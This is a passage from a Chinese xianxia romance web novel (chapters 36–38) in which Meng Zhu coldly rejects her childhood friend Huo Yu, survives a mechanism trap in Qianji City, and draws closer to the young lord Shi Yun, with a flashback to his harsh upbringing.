孟竹的手垂下,偏过头看着霍予:“我从来都不爱吃糖葫芦,糖醋排骨也是一样。” 这样毫无自我的样子,连她都对自己厌烦至极。 黏腻的甜味扑面而来,孟竹伸手,握住那几串糖葫芦,掌心用力。 坚硬的糖衣裂开,碎得像冰碴,扎进了她掌心的皮肤。 孟竹松开手,掌心的碎屑从指缝间慢慢落下,“要我说得再明白点吗?” 霍予的脸色苍白如纸,他嘴唇嗫嚅着,似乎想要替自己辩解着什么,最终却也只是徒劳地问了句。 “……为什么?” 他看见孟竹拍掉手心的碎屑站起身,用他从未见过的冷漠眼神望着自己。 “别再来招惹我,真的很烦。” “你不是很会看眼色吗?怎么没看出来,我现在可一点耐心都没有了。” 说完,孟竹再没看他一眼,她看了眼外面的天色,对施允说了句:“我还有事,先走了。” 施允眉梢微挑,难得语气轻快地应了句:“去吧。” 心脏仿佛被巨轮重重碾过,从指尖到血液,一寸寸凉下来。 他先是愣怔着,而后又很快恢复了平静,他的视线落到那碎成渣的冰糖葫芦上,又伸手拿起来看了看。 对面忽然传来一声嗤笑。 霍予抬眸,看向对面环胸而坐的施允,他唇边的笑容显得格外刺眼。 “自取其辱的感觉怎么样?”施允笑问。 霍予将那包碎掉的糖葫芦随意扔到桌上,“玉都少主,难不成也对小竹有兴趣?” “不。”施允抬起下巴,“我只是看你摇尾乞怜的样子,觉得分外有趣。” 霍予起身,沉默了一瞬,“是吗?” 他忽然眉眼一松,轻轻笑起来,手撑着桌子,微微俯身,轻声道:“你不知道吧,我和小竹之间有怎样亲密的回忆,你知道她从哪里来,知道她的过往是怎么样的吗?知道她喜欢什么,讨厌什么?你知道她心里在想什么吗?” 看着施允的表情,霍予唇边的笑容扩大,“哦,看起来你不知道,她从没告诉过你?是因为不愿意吗?” “究竟是谁摇尾乞怜,我们拭目以待吧。” 他向着施允行了一礼,“那么,我先告辞了。” “滚远点。”施允的笑容敛下,“别让我说第二遍。” 第36章 烈火烧身 自那日以后,孟竹心中仿佛放下了一块大石,整个人都松快了许多。 霍予果真没再来找她,要论原因嘛,不知道是她那日说的话起了作用,还是跟身边这个时时刻刻都在发光的人形灯泡有关。 望着坐在她身旁百无聊赖托着腮打瞌睡的施允,阳光下,他的皮肤白得几乎透明,那双眼睛阖着,安静秀美,毫无攻击性的模样。 因为施允的缘故,这几日她身边连个鸟影都没有,和吕一都没说得上话,见到面吕一也是点个头打个招呼,然后对施允和她两个舆论的中心点敬而远之。 渐渐的,不知从何时起,她又开始适应这样与施允朝夕相处的日子。 他好像总能潜移默化地影响她,在各种方面。 孟竹想着,忽然伸手,在施允打瞌睡的时候将他垫胳膊的书册抽了出来。 身体猛地往前一倾,施允略带迷茫地睁开眼,见到孟竹冷着一张脸,“……你有事吗?” “你又不需要来学堂,每天呆在这里做什么?” “学无止境。”施允没好气道:“你管我?” 看着施允悠闲的模样,孟竹倒是好奇:“玉都少主这么闲的?什么事都不用处理吗?” 施允不知道想到了什么,嘴角慢慢翘了起来,看起来心情颇好的样子,“怎么,你对我的事情这么好奇?” 他本来不甚在意孟竹的回答,却看见孟竹竟然真的顺着他的意思点了点头。 “嗯。”孟竹撑着侧脸,看向他:“我好奇,不可以吗?” “……好奇什么?” 孟竹伸手,靠近的时候,明显感觉到施允的身体僵了一瞬,却任由她的指尖抚上他眼下淡淡的青黑。 他是为了什么?要这样整夜不睡,白天又要寸步不离地守着她呢? “眼下落了尘絮。”孟竹的指尖轻轻擦过那片肌肤,道:“我帮你拿掉。” 施允一言不发,眼睫在她靠近时轻微地颤动了两下,又顺从地阖上了眸。 果然,又是这样。 总是这样。 无论施允嘴上再怎么否认,他的眼神,他的动作,他身上散发的气息,却无时无刻不在勾-引她,诱惑她。 偏生还一副懵懂无知、不通情爱的模样。 到底是真的不懂,还是装的不懂? 风将窗檐上挂着的风铃吹动,带来一阵清脆的响声。 学堂内重新恢复喧闹。 孟竹一瞬间把手收了回来,若无其事道:“我还有事,先走了。” 孟竹很快推门走了出去,指腹间还有着残留的余热,她发现施允这个人真的越来越有意思了。 也许这样的生活,并不算无聊。 明日要出发去千机城寻找炼器的材料,下学以后孟竹便去寻了明非长老,她还有很多不懂的问题需要解决,这些时日以来几乎都是这样。 明非长老虽然脾气古怪,但是对于炼器的问题却是知无不答,但是鲜少有人去主动找他,孟竹倒不甚在乎这些,做错了顶多被阴阳怪气几句,因为门可罗雀,倒是让孟竹捡了个大便宜。 “炼器要宁神静心,你倒是个能沉下心的。”明非长老呷了口茶,盯着孟竹,慢悠悠道。 孟竹手中正摆弄着一块石材,这东西坚硬无比,孟竹准备它熔到自己的武器中。 听到明非长老的话,孟竹也不谦虚,只是抿唇笑了笑。 话锋一转,明非忽然道:“你同施允是什么关系?” 没想到明非也有如此八卦的时候,孟竹心下觉得好笑,却也老实回答道:“没什么特别的关系,只是他在凡界历练时意外认识的朋友罢了。” 除了这样的关系,还能是什么关系? 明非转了转茶杯,摇头无声地笑了笑,说起施允时,脸上的神情竟是柔和了几分,“那孩子不是这样的性子,他一定是极喜欢你的。” 对于明非下的这个结论,孟竹沉默了一瞬,片刻后,才道:“您误会了。” “是吗?那你觉得施允怎么样?” 捏着刻刀的手指紧了紧,孟竹没说话。 并不在意孟竹是否回答,明非继续道:“那孩子是我从小看着长大的,悟性好,天赋又高,小时候啊,比那山上的猴子还要皮,成天没个正形。” 第一次从别人口中听到不一样的施允,孟竹有些难以想象,施允小的时候会是那种模样。 顽皮的、天真的、不谙世事的。 “听您这么说,一点也不像他。” 明非也笑了,道:“是啊,一点也不像他。”说着,明非的视线看向窗外,仿佛回到了很久之前的一段回忆中。 “我和他的父亲,从前是很要好的朋友,自他父亲去世以后,整个施氏便由他一个人来抗,仙洲的这些世家并不像你看起来那么平和,败落的世家在仙洲的处境,你根本无法想象。” “那后来呢?” “后来,他成长的速度比任何人都要快,收起了所有的情绪,有时候就连我也不清楚他在想什么,不会撒娇,也不会像以前一样缠着我要这要那,想要什么也从来不会说,我记得那时候他很喜欢一只灵宠,长得雪白粉嫩的,也通人性,他之前日日带在身边,连睡觉都要抱着,结果又过了一段时间,那只灵宠就死了。” 孟竹手指一顿,轻轻摩挲着手中的刀柄,“为什么?” 长叹一声,明非的脸上似有不忍,想起了那时候的画面。 那一天,他同往日一样去城主府给施允授课,一阵剧烈的呕吐声从书房传来。 “你为什么总是不听我的话?” 明非的脚步顿时一停,他听得出来,这是曲夫人的声音。 他推开门,看到不过七岁的施允站在一地的狼藉中,满脸通红地流着眼泪。 “你这是做什么?”明非下意识地将施允护在身后,“你又拿孩子出什么气?” 曲夫人抬起脸来看他,看起来一如既往地娴静美丽,可那双眼睛却黑沉沉地,她并没理会明非的话,偏过头看着施允。 “我告诉过你,上位者,绝对不能把自己的喜好暴露于人前,哪怕是一饭一食,一举一动,都不能让人看出你的偏好,让人轻而易举地猜出你的心思。” “这在将来,都会成为你的弱点,被人拿捏的软肋。” 施允的父亲过世以后,曲夫人对施允的教育便越来越苛刻了,明非忍不住叹气:“你也没必要……” “没必要?”曲夫人用力握住扶手的手指泛白,声音也变得昂扬而尖利起来:“施允的父亲,我的丈夫,他就是因此而死的!” “我绝不能叫他重蹈覆辙。”曲夫人红着眼眶,“绝不能。” 她伸出手将施允从明非身后拽了出来,用力扶着他的肩膀,细长的指甲都快要抠破衣料嵌进施允的皮肉中:“你记住,今天你能为了一只区区的灵宠在这里哭泣,以后,你就只会更加痛苦,施氏的荣辱皆系于你一身,你绝不能让我失望!” 是从那天起,施允就变得越来越沉默孤单了吗? 人人看着他,觉得他要什么有什么,可偏偏他真想要什么,又总有人告诉他,不行,不可以,不允许。 明非看着孟竹,因为这段时间的交情对她也起了几分惜才的心思,口气也温和了几分:“总之,这孩子性情别扭,同他相处难免会有不愉快的地方,倒是你别委屈自己,想说什么便说什么,他珍视你,我想你说的话,他会听。” 好半天,明非都没有听到孟竹的回答。 他说了一长串,端起茶杯润了润嗓子,“听到没?” “真是可怜……”孟竹垂眼,轻声道。 阳光透过窗格照在孟竹的脸上,光线中有尘絮飘飞的影子,她低着头,看不清脸上的神情。 手指捏着石料换了个方向,刻刀随着手腕翻转,细碎的石屑撒下,抬手间,一滴血缓缓从孟竹的指尖垂落。 明非看着孟竹,刚想提醒她用力过重会受伤,却看到她垂下的嘴角缓缓扬起了个不甚明显的弧度,转瞬即逝。 那一瞬间,就像角落里的蜘蛛在阳光下织就一张无形的网,看不见的丝线捆绑着,有一种窒息般的沉闷。 他几乎以为自己看错了。 再抬眼时,孟竹脸上又是那副平静的表情,礼貌又温和:“不小心割伤了,明非长老,今天就先不打扰了。” “哦……好……好。”明非如梦初醒般,目送着孟竹离开。 室内阳光依然明媚,扬尘飞舞,明非放下茶杯,又想起些事情,对于现在的他来说,也只有叹气这件事能做了。 从明非长老的住处出来,孟竹回到了自己的房间,她将那只受伤的指尖含在口中,淡淡的血腥味在口中蔓延。 她推开窗,视线看向远山间停泊的鹭鸟,林水悠悠,一片安宁祥和之态。 鹭鸟展翅,从澄净的水面飞过,荡起一阵涟漪。 孟竹看着看着,指甲一点点抠着那块破皮的地方,忽然,她收回视线,从乾坤戒里找出玉简。 那支被她丢在角落,很久都没有想起来的玉简。 她用那只受伤的手指轻轻划过玉简,上面留下一道淡淡的血痕。 玉简很快亮起,对面传来一道熟悉的声音,呼吸似乎也放得很轻,“孟竹?” 孟竹垂眼看着,并不说话。 一阵窸窸窣窣的声音后,施允似乎换了个地方,周围变得很安静:“怎么不说话?” 她手中转着那把刻刀,看着玉简。 “我受伤了。” 另一端先是沉默了一瞬,声音明显沉了几分:“伤哪儿了?” “怎么办?”孟竹问:“你能帮帮我吗?” 没有丝毫犹豫,施允的声音传来:“别动,好好待着。” 话毕,他又补了一句:“别乱跑,我马上过来。” 孟竹想起那日在藏书阁问施允的那个问题,她收拢掌心,轻声道:“这可是你说的,心甘情愿。” “……什么?” “没什么,逗你玩呢。” 施允的声音一顿,方才还有些焦躁的声音瞬间冷淡下来,“你再说一遍?” “我说,我在逗你玩呢。”孟竹不疾不徐,盯着玉简,脸上带着兴致盎然的微笑。 玉简的光瞬间暗了下来。 孟竹直起身子,嘴角的笑意愈发浓厚。 伸了个懒腰,孟竹将手心的伤口简单处理了一下,不知道过了多久,天色渐渐暗了下来。 门被轻轻叩响了。 孟竹抬眸看向门口,起身开门。 拉开门的一瞬间,她看着来人,眼神一寸寸冷了下来,平静的眼神中带了几分烦躁。 啊。 没完没了。 真的好烦。 “你又来做什么?” 霍予看着孟竹一瞬间变得冷硬的表情,叩门的手僵在半空,又无力地垂下。 “我现在就让你这么讨厌吗?” 他抬眼,唇角溢出一丝强撑的笑容:“孟竹,就算不是恋人的这种感情,我们之间难道就什么都没有了吗?” 那些过往一寸寸在脑海中浮现,很奇怪的是,她感到了前所未有的平静。 为什么呢?是从哪一天开始的呢? 难道她就是这么一个冷心冷肺的人? 不过短短一年而已。 孟竹沉默着,抽丝剥茧般,一寸寸剖开自己的心。 看着霍予受伤的眼神,她抬起手,尝试像往常一样,习惯性地揉一揉他的脑袋,轻声安抚他。 手在空中停住。 可是为什么呢? 她为什么要这样做呢? 手指张开,像是确定一般轻轻划过霍予的脸颊。 心如一潭沉寂的死水。 取而代之的,在她眼前浮现的,是一张瑰丽的容颜,如同烈火烧身一样的情感,连带着血液都沸腾起来。 那个困扰她的答案是什么,呼之欲出。 过往失败的经验告诉她,一味地改变和包容并不能让她得到自己想要的。 她终于明白,当初在天启城再次见到施允时,她为何会有那样奇怪的欲望。 他越是隐忍压抑,她便越是要得寸进尺,攻城略地。 想要欺辱他、逼迫他、却又不轻易满足他。 想要看他那双美丽的眼睛因她而痛苦,因她而失控。 然后她才会拥抱他,亲吻他,舔舐他的泪水,感受他的疼痛,抚摸他的伤痕。 这才是她想要的,极致的、强烈到能让她心脏重新跳动起来的情感。 她的手指停在霍予的脸上,声调缓慢地问他:“既然走了,为什么又要回来找我?” 霍予的脸微微侧着,贴在孟竹的掌心轻轻磨蹭,像是贪恋最后的温柔,“我们从小到大都没有分开过,而且……” “你总会为我心软。” 孟竹注视着那张无数个昼夜里置于心上的脸,手指向下,捏住霍予的下颌,看进那双依旧在温柔浅笑的眼中。 “是啊,我总会为你心软。”她笑着说,“因为我们最了解彼此,不是吗?” 看啊。 她简直太幸运了。 现成的饵,不就在这里吗? 第37章 仰头看桐树,桐花特可怜。 当天晚上,孟竹久违地失眠了。 她躺在榻上,辗转反侧,整个人呈大字型躺着,没保持一会儿,又翻了个身坐了起来。 靠在床头,孟竹盯着手上的乾坤戒看了一会儿,把玉简从里面找了出来。 手指在上面轻轻划了下,玉简上淡淡的光一闪而过。 黑漆漆的夜里,万籁俱静,偶尔听得到院落外细小的虫鸣声,还有那道在黑夜中轻轻浅浅的呼吸声。 玉简那头一直没说话。 孟竹换了个姿势,斜靠在床柱上,一只手捏着玉简,轻声喊了一句:“施允。” 等了又等,玉简的另一端才终于有了应答。 他的声音透过玉简传来,还是那种冷淡中又透着嘲讽的语气:“怎么?你有深更半夜捉弄人的癖好?” 如果不曾见过施允,从前的孟竹光凭声音就会认为这是个眼高于顶的,极难相处的人。 她不喜欢这种人,甚至有些讨厌。 可这声音隐在沉沉的夜里,带着些疲惫的气息,像一只无形的柔羽扫过她的耳尖。 孟竹:“还没睡?” “嗯。”淡淡的一声,听不出什么情绪。 黑夜太静,翻动书页的声音伴随着低浅的呼吸声传来。 似乎只要她不再开口,这个话题便会被终结。 孟竹从榻上下来,走到窗边,“睡不着吗?” 静了片刻,施允终于开口:“你要说的就是这个?” 推开窗,微凉的空气吹进来,孟竹抬头,看见了天上的月亮。 她探出一只手,月亮清冷的光辉洒在她的指尖。 她知道施允在等什么。 等她解释,问她为什么要做出这种几乎是戏弄一般的举动。 等她主动给他答疑解惑,告诉他那些他想不明白的东西到底是什么。 可为什么呢? 她忽然不想那么好心地满足他。 甚至还想更坏一点。 静了静,孟竹道:“不说了吧,我要睡了,明早还要去千机城。” 那边的呼吸声停了一瞬,施允道:“那个人是不是去找你了?” “谁?” “你明知故问?” “嗯。”孟竹将手举起来,透过指间的缝隙看着那轮明月,“你是觉得我不能和他一起吗?” 那边沉默了一瞬,再开口时,声音依旧冷淡:“你们不是熟得很么?我觉得能不能有什么重要的?” 孟竹垂下眼睫,无声地笑起来。 “施允。” “嗯?” “晚安。”孟竹说完,直接将玉简一关,随意丢到了乾坤戒里。 她关上窗,径直上了榻,这回,她很快就睡着了。 一夜无梦。 第二日,霍予果然一早就在门口等着孟竹,只不过在去千机城的一路上,他时不时地出神,不知道在想什么。 “霍予。” 霍予回神,肩膀被人轻轻拍了一下。 他放空的视线重新凝聚至前方,这是一个与从前截然不同的世界。 千机城,这里像是一座由金属打造的城,铜门高筑,齿轮转动间相连着不同的机关门,宛如一座巨大的迷宫。 千机城内的机关精妙绝伦,每进入一道门身边的同行之人便会陆陆续续消失不见,被选中的人需得自行通过机关阵才能离开,虽然危险,却能在通关以后获得相应的炼器资源。 走着走着,他们已经不知道打开了多少道门,一扇连着一扇,一行数十人已经变得空空荡荡,走到最后,唯有霍予和孟竹两人没有触发机关门了。 昨日他央求孟竹与他同行,孟竹答应了,这是分别以来,孟竹第一次对他软下态度。 他看见孟竹走在他身侧,似乎又回到了从前的模样。 “方才在想什么?”孟竹侧过脸,昏暗的光照在她的脸上,温柔平静的模样,是他最熟悉安心的样子。 空寂的走道中,每走一步,脚步声都清晰地回荡,这道门推开以后,是无尽的长廊,仿*佛怎么也走不到尽头。 “不知道为什么,忽然想起我们刚刚认识的时候了,你还记得吗?”霍予的脚步停下,忽然道。 孟竹又朝前走了两步,和霍予拉开一小段距离,她回头:“当然记得,那时候你被人欺负,我帮了你。” “不……”霍予摇头,“我是说更早,最开始的时候。” 他的视线停留在孟竹脸上,仿佛想从她脸上直接捕捉他再也看不透的那些想法。 孟竹似乎在认真地思索,良久,她才问:“那不是最开始的时候吗?” 她又摇了摇头,道:“时间太久了,你知道的,我记性并不那么好。” 霍予的脚步忽然停住。 他绽开了一个笑容,走上前去:“是啊,你当时不是骂我爱哭鬼来着?” 他叹息一声,“一晃好多年过去了。”霍予偏头笑看着孟竹:“你也不再喊我这个绰号了。” 孟竹显然不想同他忆往昔,岔开话题:“你这次来是找剑石?” 霍予的身上戴着佩剑,只是本命法器需要相应的剑石,剑石等同于一把剑的剑心,有了剑石,假以时日,有机缘者便会生出剑灵。 “没错。” 她想起什么,又问,“说起来,你那位小公主呢?” 霍予嘴角微微压平,又很快恢复如常:“说什么呢?我和她只是朋友。” “从小到大,除了你,我还在乎过哪个女孩子?” 墙壁上凹凸不平,刻着某种不知名的图腾,孟竹的手指顺着纹路向下,摸到了不同寻常的触感。 她收回手,哦了一声。 脚下的地板传来咔哒咔哒的声响,原本平整的地面忽然变换移位,变得交错不平。 猝不及防地,机关阵开启了。 昏暗的光线中,无数道泛着冷光的箭矢射来,孟竹侧身一闪,凝了一道护体灵光,在地板又一瞬间开合之时,一阵剧烈的失重感,整个人猝不及防往下坠落。 身上传来被挤压的痛感,孟竹一手撑地,抬眼观察四周,她落在大片大片的阴影下,往上看去,无数尊大型的人型石像竖立在周围,身处其中,犹如蚂蚁之于大象,几乎灭顶的压迫感。 每一尊石像都像是有生命一样,随着孟竹的动作,像是发现了什么不速之客,石像上的眼睛齐齐转了过来。 孟竹迅速从乾坤戒中掏出了她准备的东西,形状像是一双手套,戴上的一瞬间,坚硬的铁片一寸寸覆上她的皮肤,闪着冷冽的寒光,宛如一双精密细巧的机械手,这是她跟着明非这么多天以来炼出的第一个法器,套在手上,可以将力量发挥到极致,并且有一定的防御作用。 轰隆的一阵巨响,石像动了,它们睥睨着孟竹,巨大的脚掌朝着她踩了下来。 孟竹滚了两圈,避开攻击,一记重拳砸了上去,咔哒一声,石像裂开,碎石块劈头盖脸砸了下来。 剧烈的晃动后,孟竹又打碎了几尊朝她最近的石像,终于有了一小片空地。 她一边找落脚的地方,一边留意着石像的动静,脚下用力,一跃而起,落在了最近的一尊石像上,从上往下看去,密密麻麻的石像中唯有一尊石像是静止不动的。 机关,只要找到机关,就能让这些石像停下来。 她正要起身,迎面而来的一只巨大的手臂拍断了她站着的这尊石像的头部,孟竹一瞬间失去了平衡,她用手撑了一下,脚下迅速换了个位置,朝着那个静止的石像飞身而去。 孟竹的脚刚刚落下,便看见下方站着一个人影,从上往下看去,几乎只剩下一个小黑点,可周围的石像并没攻击他。 她向下降落,落在石像的手掌,终于看清了那人的样子。 那是她从来没在他脸上见到过的表情。 像是大厦将倾前的绝望。 霍予的脸色苍白无比,站在这尊石像面前,一动不动,像是被剥夺了灵魂的木偶。 他的嘴唇颤抖着,像是恐惧极了,又像是在说些什么。 直到孟竹站在他面前,才听清他的话。 “孟竹,你看见了吗?” 孟竹手上的乾坤戒忽然亮起了红光,一瞬间又黯淡下去。 她听不懂霍予在说什么,“看见什……” 话音没落,那尊静止的石像忽然动了起来,孟竹下意识地拉住霍予想要躲避,却看到他忽然沿着那尊石像飞身跃起,在他碰到石像的一瞬间,孟竹看到石像的眼睛忽然亮了起来。 一只巨大的手掌抬了起来,朝着霍予的的方向拍下,与此同时,一道灼目的亮光从霍予的手心亮起,一瞬间整个空间内亮如白昼,孟竹被这亮光刺得闭了闭眼,伴随着巨大的轰鸣声,一瞬间什么也看不见了。 眼前巨大的光晕暗去后,孟竹睁眼,所有的石像都停了下来。 一颗闪着红光的石头从石像的右眼中飘出,孟竹抬手,剑石落在她的手中。 随着一声闷哼,霍予从石像上滚落下来,他跌下来时,孟竹看清了他身上的情况,他身上的衣裳几乎被血染透了,左手和右腿以一个怪异的姿势扭曲着,全身遍体鳞伤,手心里紧紧攥着什么。 孟竹蹲下,看着霍予,他的指甲从中间裂开,手背上有几道深可见骨的伤口,脸上的碎发散了下来,呼吸间,血不受控制地从鼻腔和唇边溢出来。 霍予仰面倒在地上,缓缓抬起手遮住了左边的眼睛,片刻后,又轻轻放了下来。 孟竹不说话,蹲在霍予的身旁看着他的动作。 “小竹。”霍予偏过头,轻声道:“我好疼。” 孟竹伸手拨开他眼前被血粘住的碎发,淡淡道:“知道疼,为什么还要去做?” 他嘴角弯起一个轻微的弧度,看起来是一个笑脸:“有些事我明知道做了你会不开心,但我还是会去做,因为你总有一天会理解我的苦衷,我明知道离开以后,你就不会再回头找我,但没关系。” “我来找你就好,我会让一切都变回原来的样子。” “是吗?”孟竹的手抚上他耳边的银质耳钉:“你好像很喜欢做些自我感动的事情。” 耳钉有些褪色了,看起来雾蒙蒙的。 霍予似乎在思考,感受着耳边的温热,道:“你以前不是挺喜欢的?现在怎么不行了?” 他伸手抓住孟竹的手,问:“要怎么感动你呢?难不成要我去死?” 闻言,孟竹蓦地一笑:“你想这么做?”她思索了一下,又道:“说不定我会考虑看看呢。” 抽出手,孟竹站起来,转身时,裙角被紧紧攥住。 霍予似乎笑得很开心,安静的空间内回荡着笑声,好像从前他们笑闹间传来的回响。 “你看,你多绝情啊,你想把我丢在这里,是不是?” 孟竹转身,重新再他面前蹲下来,“怎么会呢?” 阴影从上方投下来,孟竹的眼睛被一片暗色笼住,她轻声道:“我当然不会做这种事。” “是吗?”霍予的手抬起来,指尖的血被涂在孟竹的脸上,像一道血泪:“小竹,只有我才是最了解你的人。” “你喜欢那个施允?”霍予微微抬起身子,“他了解你吗?” 他的嗓音含着笃定,又笑起来:“他知道你是什么样的人吗?” “或者说,你害怕他知道吗?” 沉默了一瞬,孟竹也笑:“我怕什么?” 她拍开那只停在眼下的手,把霍予从地上扶起来,道:“出去吧。” “我站不起来。”霍予一只手搭在孟竹的肩上,偏头看她:“怎么走?” 孟竹盯着他的眼睛,霍予眼睫弯弯。 弯下腰,孟竹捉住霍予的断手往上一提,将他背了起来。 霍予痛得闷哼一声,随后将头伏在她的颈侧,一动不动了。 从机关阵出来,陆陆续续开始有了同伴的声音,他们有的受了伤,却都没霍予这么严重,霍予的人缘非常好,同行中大半的人都认识,脸上带着真切的关心,有几个男修上来要帮着孟竹背人,却被霍予笑着拒绝了。 “一动就疼,先别折腾啦,回去再说。” 一路行至城门口,这里已经汇集了许多人,有好事的人帮忙疏散人群,“让让让让,别碰着了,这里有人受伤了。” 吕一也早就出来了,看了眼孟竹背上的霍予,“就剩你们两个了,都等半天了。” 她上下打量着霍予,道:“可真够惨的。” 看着孟竹被血染湿的衣裳,吕一问:“你也受伤了?” 孟竹摇头,刚想说这不是自己的血,一抬眼,就看到人群尽头站着一人。 冷白的月光洒下,将人群分割成两道明暗不一光影,隔着熙熙攘攘的人群,施允看向了她。 霍予搭在孟竹肩膀的手指紧了紧。 他伏在孟竹耳边,直视着施允的眼睛,亲昵地在她耳边蹭了蹭, 耳边的湿热与呼吸让孟竹一瞬间松开了霍予,他猝不及防地跌在地上,捂着胸口,唇边不受控制地溢出一口血来。 孟竹没回头去看。 身边很快有人扶住了霍予,还伴随着指责的声音:“你没看到他伤这么重吗?还这么不小心。” “背不动就不要背,逞什么能?” 吕一皱了皱眉,“关孟竹什么事?又不是她让他受伤的?” “我没事。”霍予虚弱地笑了笑,被两个同伴扶了起来,他看着孟竹,轻声道:“小竹对我做什么,我都不会生气。” 有人道:“我记得你是新人中唯一一个金丹期吧,他同你一起过阵,你竟然还让他受这么重的伤,我看这个金丹期也不过浪得虚名。” “受这么重的伤,你知不知道接下来的仙门大比就要开始了,他怎么参加?” 孟竹不由觉得好笑,她转过身,看着刚刚指责她的人,“关你什么事?” “我做什么,轮得到你来指责?” 她向前走了两步,逼近架着霍予胳膊的那人,“你若是觉得不爽,就到我跟前来说,我有的是时间同你较量。” 那人瞪着孟竹,被她的眼神逼地微微向后退了退:“恃强凌弱,非君子所为!” 孟竹笑出了声:“我又不是君子。”她又道:“难道你弱你就有理?全天下人都得让着你?” 她环视一圈,看着这些或熟悉或陌生的面孔:“你们是真心关心他?是不是早就看我不顺眼了?你们这样借着他的名义故意针对我,是因为我和你们格格不入,还是因为我的修为比你们都高?” 方才出声指责的那几人瞬间面目青红交加,他们哪里见过讲话这么不留情面的人,读的是圣贤书,修的是升仙道,心思里再多的龌龊,面上也要大方得体。 一片安静声中,霍予抬起脸笑了笑,“诸位,小竹是我此生挚爱,以后、未来不管过多久,无论发生什么事,我都将会把她视为我唯一的新娘。” “所以,大家都是我的朋友,希望你们不要这样针对她。” 霍予的声音清清楚楚,让人群中传来阵阵倒吸声,这么大胆张扬的告白,前所未见。 孟竹背对着人群,无声地看向天上。 啪、啪、啪,突兀的掌声响起。 人群忽然向两边自动散开,施允似笑非笑地鼓着掌,“登台唱戏之人,若无人鼓掌,岂不是寒了戏子的心?” 他转头吩咐身边的亲卫:“传我的令,准这位霍公子入九桑灵泉养伤,务必仔细,绝不可耽误大比。” “是。” 这九桑灵泉乃疗伤圣地,玉都中唯有极尊贵体面的人才能入九桑灵泉养伤,不仅对受伤之人疗愈效果极快,若是在其中潜心修炼,甚至还能助人进阶,此话一出,所有人脸上便只剩下了羡慕。 施允走近,在孟竹身旁站定,视线对上霍予抬起的眼睛,蓦地勾唇一笑:“博人一笑的手段不错。” “赏。” 施允笑着抬手,无数点灵光自指尖绽开,化作纷纷扬扬的雨露一般洒向众人。 “是天衍灵露!” “快抢!是我的!” “我的我的!” 人群中哄抢不止,天衍灵露,就算是在玉都这样的地方,也是万金难求,对修行的助益极大,莫说他们这群刚入学府的新人了,就是修行了许久的前辈也没几人能拿到这东西,甚至刚开始扶着霍予的那两人也一瞬间松开了架着霍予的手,去抢那天空中洒下的灵露。 霍予被丢在地上,他面无表情地看着这群人抢来抢去,断掉的那只手臂甚至被人踩了几脚。 没有人再注意到这里。 没有人在意残破不堪的人。 他的视线看向孟竹的背影,她被施允攥着手腕,一点点消失在他眼中。 身边传来一阵轻轻的叹息,一只手伸向了他。 “起来吧。”- 孟竹任由施允牵着她,他们在空中疾行,夜空中,施允的侧脸冷白,下颌绷的很紧,一言不发。 今夜的月色很亮,繁星点点,仿佛触手可及。 孟竹的视线落在施允攥着她的那只手上,她身上满是灰尘和血污,实在很脏,她动了动手腕,想要稍微收拾一下。 手腕上那股收紧的力道猛地加重,施允的脸冷若冰霜:“想跑?” “你不怕脏吗?”孟竹用眼神示意,他向来干净平整的衣袍上被她的手压出了褶皱和灰痕。 施允顺着她的视线看了一眼,并没理会她的问题,手上的力道又紧了紧,脸上没有任何表情,直到孟竹被带着下落,站到了一颗巨大的花树上。 这里不知道是何处,生长着漫山遍野的桐花树,粉紫色的一片花海,风儿轻轻地吹,花叶顺着枝桠纷纷扬扬往下飘散,落在地上的花瓣铺了厚厚的一层又一层。 就如同在桐花城内走过的那片树林,不同的是,这里没有熙熙攘攘的人群,安静得仿佛一个不存在的梦境。 孟竹坐了下来,给自己身上施了个清洁术,身边站着的人依然一声不吭,孟竹伸手扯了扯他的衣角:“带我来这里,还不愿意搭理我啊?” “因为我说逗你玩生气了?”孟竹问,“还是别的什么?” 施允看她一眼,伸手把自己的衣角拽回来。 小气。 “真生气啦?”孟竹又扯扯。 施允抿着唇,顺着孟竹的力道坐在她身旁,“少在这里拉拉扯扯。” 顿了顿,他又语气生硬地问道:“不是要当别人的新娘子了?你们女子就是这般花心多情,还有闲心拉着别的男人花前月下?” 孟竹收回手,终于不拉着他了。 安静了片刻,施允又道:“为什么不否认?” 孟竹看着远方,听到他的声音,轻轻笑了笑,“我也没承认啊。” 施允的手中折了一只桐花,有一下没一下地在手中摇晃。 “哪里?”他忽然问道。 孟竹没明白他的意思,只看到他的视线专注地在她身上看了一圈,“不是说受伤了?” 他的眼眸倒映在月色下,宛如一池春水。 “没受伤。”孟竹说,“我骗你的。” 她忽然想起什么,压着雀跃的唇角,问:“你不会就是为了这个来千机城的吧?” 施允不说话了,头偏开看着远方,落花一点点从他眼前飘过,直到脸颊上传来温热的体温。 他的视线被孟竹转了过来,他清清楚楚地看见了孟竹上扬的唇角,她的眼睛发亮,唇角的梨涡深深。 星河流转,夜空下倒映着万千灯火,也倒映着两个若即若离的影子,在这样的夜晚,在这个似曾相识的地方,仿佛一场梦,仿佛做什么都被允许。 孟竹捧着施允的脸,目光一寸寸碾过他的眉眼,鼻尖,微抿的薄唇。 “随便骂我花心吧。”她向前倾身,吻在施允的眼睛上。 他的眼睫微颤,身侧的手指紧了又松,任由这个吻落下。 他听见孟竹的声音。 “我要做别人的新娘子了,你愿不愿意?” 第38章 攻守 玉都城主府内,书案上的香炉燃着,丝丝入扣的暖香渐渐弥漫。 案上的书册被一只手执着,却很久都没翻动一页。 施允伸手按了按眉心,将书册随意丢至一边,他闭上眼,脑海中又浮现出那个月夜下的笑脸。 烦躁。 难以言喻的烦躁。 窗外飞过的鸟雀叽叽喳喳,落在缀满繁花的花枝上,摇摇晃晃,那花瓣纷纷扬扬落下,窗沿外又飘进来几片落花。 好像那轻柔飘荡的桐花树,漫天飞舞着,又慢悠悠晃进他的眼中。 施允搁在案上的指尖轻轻弹了弹,一颗果子打在枝桠上,鸟雀惊起,扑腾着翅膀飞走了。 那恼人的雀鸣声终于停了。 “何事惹你生气,连这可怜的小鸟儿都不放过?”韩韬端着一叠文书走进来,看见施允的动作,笑着打趣。 他很少看见施允这般孩子气的举动,不由新奇地多看了两眼,或许在众人眼中,施允永远都是那个冷淡矜贵、不食人间烟火的玉都少主,只有他知道,施允还是一个同他一般的少年。 有喜有乐,有痛有怨,是一个生动鲜活的人,而不是那个被架在云端的,玉面菩萨一样的存在。 “我没生气。”施允道。 韩韬鼻尖微动,眉头皱了起来,“你燃了多少宁神香,这么重的味道。” 他坐在施允对面,将文书搁在案上,“近来的文书太多,没必要一次性都处理完吧,稍微休息一阵子也没事。” “反正也睡不着。”施允仰着头,靠在身后的软垫上,“不如都处理完。” 韩韬挑了挑眉,“怎么,有心事?” “来,洗耳恭听。” 